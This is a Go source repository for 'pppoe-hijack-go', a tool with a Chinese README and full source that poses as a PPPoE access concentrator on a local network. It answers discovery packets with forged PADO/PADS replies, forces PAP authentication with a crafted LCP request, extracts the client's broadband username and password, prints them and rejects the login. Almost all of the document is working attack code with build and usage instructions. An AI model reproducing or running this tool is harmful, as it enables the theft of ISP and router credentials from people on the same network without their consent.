├── README.md ├── cmd └── pppoe-hijack-go.go ├── go.mod ├── go.sum └── internal ├── actions ├── hijack.go ├── lcp.go ├── pado.go ├── pads.go └── pap.go ├── global ├── constants.go └── variable.go ├── packets └── packets.go └── utils ├── mac.go └── net_interface.go /README.md: -------------------------------------------------------------------------------- 1 | ## 介绍 2 | 3 | 模仿[PPPoE-hijack](https://github.com/Karblue/PPPoE-hijack)的golang版本 4 | 5 | 原理: [解密古老又通杀的路由器攻击手法:从嗅探PPPoE到隐蔽性后门](http://www.freebuf.com/articles/wireless/163480.html) 6 | 7 | ## 用法 8 | 9 | ```bash 10 | git clone https://github.com/LuckyC4t/pppoe-hijack-go.git 11 | cd pppoe-hijack-go 12 | go build cmd/pppoe-hijack-go.go 13 | ``` 14 | 15 | ### 列网卡 16 | 17 | ```bash 18 | ./pppoe-hijack-go -l 19 | ``` 20 | 21 | ### 嗅探 22 | 23 | ```bash 24 | ./pppoe-hijack-go -i 网卡名 25 | ``` 26 | -------------------------------------------------------------------------------- /cmd/pppoe-hijack-go.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "github.com/LuckyC4t/pppoe-hijack-go/internal/actions" 7 | "github.com/LuckyC4t/pppoe-hijack-go/internal/global" 8 | "github.com/LuckyC4t/pppoe-hijack-go/internal/utils" 9 | "github.com/google/gopacket" 10 | "github.com/google/gopacket/pcap" 11 | "log" 12 | "time" 13 | ) 14 | 15 | func main() { 16 | flag.StringVar(&global.Device, "i", "", "network interface") 17 | show := flag.Bool("l", false, "list net interfaces") 18 | flag.Parse() 19 | 20 | if global.Device == "" && !*show { 21 | flag.Usage() 22 | return 23 | } 24 | 25 | if *show { 26 | utils.ShowInterfaces() 27 | return 28 | } 29 | // Open device 30 | handle, err := pcap.OpenLive(global.Device, 1024, false, -1*time.Second) 31 | if err != nil { 32 | log.Fatal(err) 33 | } 34 | global.Handle = handle 35 | defer handle.Close() 36 | 37 | // Use the handle as a packet source to process all packets 38 | fmt.Println("start sniffing...") 39 | packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) 40 | for packet := range packetSource.Packets() { 41 | if packetPayload := actions.Hijack(packet); packetPayload != nil { 42 | fmt.Println("---------------------------------------") 43 | fmt.Println("username:", packetPayload[0]) 44 | fmt.Println("password:", packetPayload[1]) 45 | fmt.Println("---------------------------------------") 46 | break 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/LuckyC4t/pppoe-hijack-go 2 | 3 | go 1.16 4 | 5 | require github.com/google/gopacket v1.1.19 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= 2 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= 3 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 4 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= 5 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= 6 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= 7 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 8 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI= 9 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 10 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 11 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 12 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 13 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 15 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 16 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 17 | -------------------------------------------------------------------------------- /internal/actions/hijack.go: -------------------------------------------------------------------------------- 1 | package actions 2 | 3 | import ( 4 | "fmt" 5 | "github.com/google/gopacket" 6 | "github.com/google/gopacket/layers" 7 | ) 8 | 9 | func Hijack(packet gopacket.Packet) []string { 10 | if ethernetLayer := packet.Layer(layers.LayerTypeEthernet); ethernetLayer != nil { 11 | ethernetPacket := ethernetLayer.(*layers.Ethernet) 12 | 13 | if pppoeLayer := packet.Layer(layers.LayerTypePPPoE); pppoeLayer != nil { 14 | if pppoePacket, ok := pppoeLayer.(*layers.PPPoE); ok { 15 | 16 | if ethernetPacket.EthernetType == layers.EthernetTypePPPoEDiscovery { 17 | switch pppoePacket.Code { 18 | case layers.PPPoECodePADI: 19 | fmt.Println("find padi, send pado...") 20 | sendPadoPacket(ethernetPacket, pppoePacket) 21 | case layers.PPPoECodePADR: 22 | fmt.Println("find padr, send pads...") 23 | sendPadsPacket(ethernetPacket, pppoePacket) 24 | } 25 | } else if ethernetPacket.EthernetType == layers.EthernetTypePPPoESession { 26 | if pppLayer := packet.Layer(layers.LayerTypePPP); pppLayer != nil { 27 | if pppPacket, ok := pppLayer.(*layers.PPP); ok { 28 | switch string(pppPacket.Contents) { 29 | // LCP 30 | case "\xc0\x21": 31 | sendLcpReq(ethernetPacket, pppPacket) 32 | // Auth Req 33 | case "\xc0\x23": 34 | username, password := getPapInfo(pppPacket.Payload) 35 | sendPapAuthReject(ethernetPacket, pppPacket) 36 | return []string{username, password} 37 | } 38 | } 39 | } 40 | } 41 | 42 | } 43 | } 44 | } 45 | 46 | return nil 47 | } 48 | 49 | func getPapInfo(body []byte) (string, string) { 50 | return string(body[5 : 5+body[4]]), string(body[6+body[4]:]) 51 | } 52 | -------------------------------------------------------------------------------- /internal/actions/lcp.go: -------------------------------------------------------------------------------- 1 | package actions 2 | 3 | import ( 4 | "fmt" 5 | "github.com/LuckyC4t/pppoe-hijack-go/internal/global" 6 | "github.com/LuckyC4t/pppoe-hijack-go/internal/packets" 7 | "github.com/google/gopacket/layers" 8 | ) 9 | 10 | var clientMap = make(map[string]struct{}) 11 | 12 | func sendLcpReq(eth *layers.Ethernet, ppp *layers.PPP) { 13 | // LCP Configuration Request 14 | if ppp.Payload[0] == 1 { 15 | fmt.Println("\nReceived LCP-Config-Req") 16 | 17 | if _, has := clientMap[eth.SrcMAC.String()]; !has { 18 | sendLcpRejectPacket(eth, ppp) 19 | sendLcpReqPacket(eth, ppp) 20 | 21 | clientMap[eth.SrcMAC.String()] = struct{}{} 22 | } 23 | 24 | sendLcpAckPacket(eth, ppp) 25 | } 26 | //if raw[8] == 1 { 27 | // fmt.Println("\nReceived LCP-Config-Req") 28 | // if _, has := clientMap[srcMAC.String()]; !has { 29 | // sendLcpRejectPacket(srcMAC, raw) 30 | // sendLcpReqPacket(srcMAC, raw) 31 | // 32 | // clientMap[srcMAC.String()] = struct{}{} 33 | // } 34 | // sendLcpAckPacket(srcMAC, raw) 35 | //} 36 | } 37 | 38 | func sendLcpRejectPacket(eth *layers.Ethernet, ppp *layers.PPP) { 39 | payload := ppp.Payload 40 | payload[0] = 0x04 41 | 42 | payload = append(ppp.Contents, payload...) 43 | length := len(payload) 44 | 45 | packet := packets.Packet{ 46 | DstMac: eth.SrcMAC, 47 | Payload: payload, 48 | Code: layers.PPPoECodeSession, 49 | SessionId: 0x01, 50 | Protocol: layers.EthernetTypePPPoESession, 51 | Length: uint16(length), 52 | } 53 | 54 | packet.Send() 55 | fmt.Println("send LCP Reject packet...") 56 | } 57 | 58 | func sendLcpReqPacket(eth *layers.Ethernet, ppp *layers.PPP) { 59 | payload := append(ppp.Contents, global.LCPREQ_PAYLOAD...) 60 | length := len(payload) 61 | 62 | packet := packets.Packet{ 63 | DstMac: eth.SrcMAC, 64 | Payload: payload, 65 | Code: layers.PPPoECodeSession, 66 | SessionId: 0x01, 67 | Protocol: layers.EthernetTypePPPoESession, 68 | Length: uint16(length), 69 | } 70 | 71 | packet.Send() 72 | fmt.Println("send LCP Request packet...") 73 | } 74 | 75 | func sendLcpAckPacket(eth *layers.Ethernet, ppp *layers.PPP) { 76 | payload := ppp.Payload 77 | payload[0] = 0x02 78 | 79 | payload = append(ppp.Contents, payload...) 80 | length := len(payload) 81 | 82 | p := packets.Packet{ 83 | DstMac: eth.SrcMAC, 84 | Payload: payload, 85 | Code: layers.PPPoECodeSession, 86 | SessionId: 0x01, 87 | Protocol: layers.EthernetTypePPPoESession, 88 | Length: uint16(length), 89 | } 90 | 91 | p.Send() 92 | fmt.Println("send LCP Ack packet...") 93 | } 94 | -------------------------------------------------------------------------------- /internal/actions/pado.go: -------------------------------------------------------------------------------- 1 | package actions 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | "github.com/LuckyC4t/pppoe-hijack-go/internal/global" 8 | "github.com/LuckyC4t/pppoe-hijack-go/internal/packets" 9 | "github.com/google/gopacket/layers" 10 | ) 11 | 12 | // 发送PADO回执包 13 | func sendPadoPacket(eth *layers.Ethernet, pppoe *layers.PPPoE) { 14 | payload := append(pppoe.Payload, global.AC_NAME...) 15 | 16 | packet := packets.Packet{ 17 | DstMac: eth.SrcMAC, 18 | Payload: payload, 19 | Code: layers.PPPoECodePADO, 20 | SessionId: pppoe.SessionId, 21 | Protocol: layers.EthernetTypePPPoEDiscovery, 22 | Length: uint16(len(payload)), 23 | } 24 | 25 | packet.Send() 26 | fmt.Println("send PADO packet...") 27 | } 28 | 29 | // 寻找客户端发送的Host-Uniq 30 | func padiFindHostUniq(raw []byte) []byte { 31 | key := []byte{0x01, 0x03} 32 | nIdx := bytes.Index(raw, key) 33 | if nIdx == -1 { 34 | return nil 35 | } 36 | nLen := int(binary.BigEndian.Uint16(raw[nIdx+2 : nIdx+4])) 37 | return append(key, raw[nIdx+2:nIdx+4+nLen]...) 38 | } 39 | -------------------------------------------------------------------------------- /internal/actions/pads.go: -------------------------------------------------------------------------------- 1 | package actions 2 | 3 | import ( 4 | "fmt" 5 | "github.com/LuckyC4t/pppoe-hijack-go/internal/global" 6 | "github.com/LuckyC4t/pppoe-hijack-go/internal/packets" 7 | "github.com/google/gopacket/layers" 8 | ) 9 | 10 | func sendPadsPacket(eth *layers.Ethernet, pppoe *layers.PPPoE) { 11 | payload := append(pppoe.Payload, global.AC_NAME...) 12 | 13 | packet := packets.Packet{ 14 | DstMac: eth.SrcMAC, 15 | Payload: payload, 16 | Code: layers.PPPoECodePADS, 17 | SessionId: 0x01, 18 | Protocol: layers.EthernetTypePPPoEDiscovery, 19 | Length: uint16(len(payload)), 20 | } 21 | 22 | packet.Send() 23 | fmt.Println("send Pads packet...") 24 | } 25 | -------------------------------------------------------------------------------- /internal/actions/pap.go: -------------------------------------------------------------------------------- 1 | package actions 2 | 3 | import ( 4 | "fmt" 5 | "github.com/LuckyC4t/pppoe-hijack-go/internal/packets" 6 | "github.com/google/gopacket/layers" 7 | ) 8 | 9 | func sendPapAuthReject(eth *layers.Ethernet, ppp *layers.PPP) { 10 | identifier := ppp.Payload[1] 11 | message := []byte("bye") 12 | payload := append([]byte{0x03, identifier, 0x00, byte(5 + len(message)), byte(len(message))}, message...) 13 | payload = append(ppp.Contents, payload...) 14 | length := len(payload) 15 | 16 | packet := packets.Packet{ 17 | DstMac: eth.SrcMAC, 18 | Payload: payload, 19 | Code: layers.PPPoECodeSession, 20 | SessionId: 0x01, 21 | Protocol: layers.EthernetTypePPPoESession, 22 | Length: uint16(length), 23 | } 24 | 25 | packet.Send() 26 | fmt.Println("send Pap Auth Reject packet...") 27 | } 28 | -------------------------------------------------------------------------------- /internal/global/constants.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | var ( 4 | AC_NAME = []byte("\x01\x02\x00\x06aaaaaa") 5 | LCPREQ_PAYLOAD = []byte("\x01\x01\x00\x12\x01\x04\x05\xc8\x03\x04\xc0\x23\x05\x06\x5e\x63\x0a\xb8\x00\x00\x00\x00") 6 | ) 7 | -------------------------------------------------------------------------------- /internal/global/variable.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import "github.com/google/gopacket/pcap" 4 | 5 | var ( 6 | Device string 7 | 8 | Handle *pcap.Handle 9 | ) 10 | -------------------------------------------------------------------------------- /internal/packets/packets.go: -------------------------------------------------------------------------------- 1 | package packets 2 | 3 | import ( 4 | "github.com/LuckyC4t/pppoe-hijack-go/internal/global" 5 | "github.com/LuckyC4t/pppoe-hijack-go/internal/utils" 6 | "github.com/google/gopacket" 7 | "github.com/google/gopacket/layers" 8 | "log" 9 | "net" 10 | ) 11 | 12 | type Packet struct { 13 | DstMac net.HardwareAddr 14 | Payload []byte 15 | Code layers.PPPoECode 16 | SessionId uint16 17 | Protocol layers.EthernetType 18 | Length uint16 19 | } 20 | 21 | func (p Packet) Send() { 22 | buffer := gopacket.NewSerializeBuffer() 23 | options := gopacket.SerializeOptions{} 24 | err := gopacket.SerializeLayers(buffer, options, 25 | &layers.Ethernet{ 26 | SrcMAC: utils.GetMACAddr(global.Device), 27 | DstMAC: p.DstMac, 28 | EthernetType: p.Protocol, 29 | }, 30 | &layers.PPPoE{ 31 | Version: uint8(1), 32 | Type: uint8(1), 33 | Code: p.Code, 34 | SessionId: p.SessionId, 35 | Length: p.Length, 36 | }, 37 | gopacket.Payload(p.Payload), 38 | ) 39 | if err != nil { 40 | log.Fatal(err) 41 | } 42 | 43 | _ = global.Handle.WritePacketData(buffer.Bytes()) 44 | } 45 | -------------------------------------------------------------------------------- /internal/utils/mac.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "github.com/google/gopacket/pcap" 5 | "net" 6 | "strings" 7 | ) 8 | 9 | func GetMACAddr(device string) net.HardwareAddr { 10 | interfaces, _ := net.Interfaces() 11 | for _, netInterface := range interfaces { 12 | if netInterface.Name == getNameByDevice(device) { 13 | return netInterface.HardwareAddr 14 | } 15 | } 16 | return net.HardwareAddr{0xFF, 0xAA, 0xFA, 0xAA, 0xFF, 0xAA} 17 | } 18 | 19 | func getNameByDevice(device string) string { 20 | devs, _ := pcap.FindAllDevs() 21 | ip := "" 22 | for _, dev := range devs { 23 | if dev.Name == device { 24 | if len(dev.Addresses) > 0 { 25 | ip = dev.Addresses[0].IP.String() 26 | } 27 | } 28 | } 29 | 30 | interfaces, _ := net.Interfaces() 31 | for _, i := range interfaces { 32 | addrs, _ := i.Addrs() 33 | for _, addr := range addrs { 34 | if strings.Contains(addr.String(), ip) { 35 | return i.Name 36 | } 37 | } 38 | } 39 | 40 | return "" 41 | } 42 | -------------------------------------------------------------------------------- /internal/utils/net_interface.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "github.com/google/gopacket/pcap" 6 | "log" 7 | ) 8 | 9 | func ShowInterfaces() { 10 | allInterfaces, err := pcap.FindAllDevs() 11 | if err != nil { 12 | log.Fatal(err) 13 | } 14 | 15 | for _, item := range allInterfaces { 16 | fmt.Printf("%+v\n", item) 17 | } 18 | } 19 | --------------------------------------------------------------------------------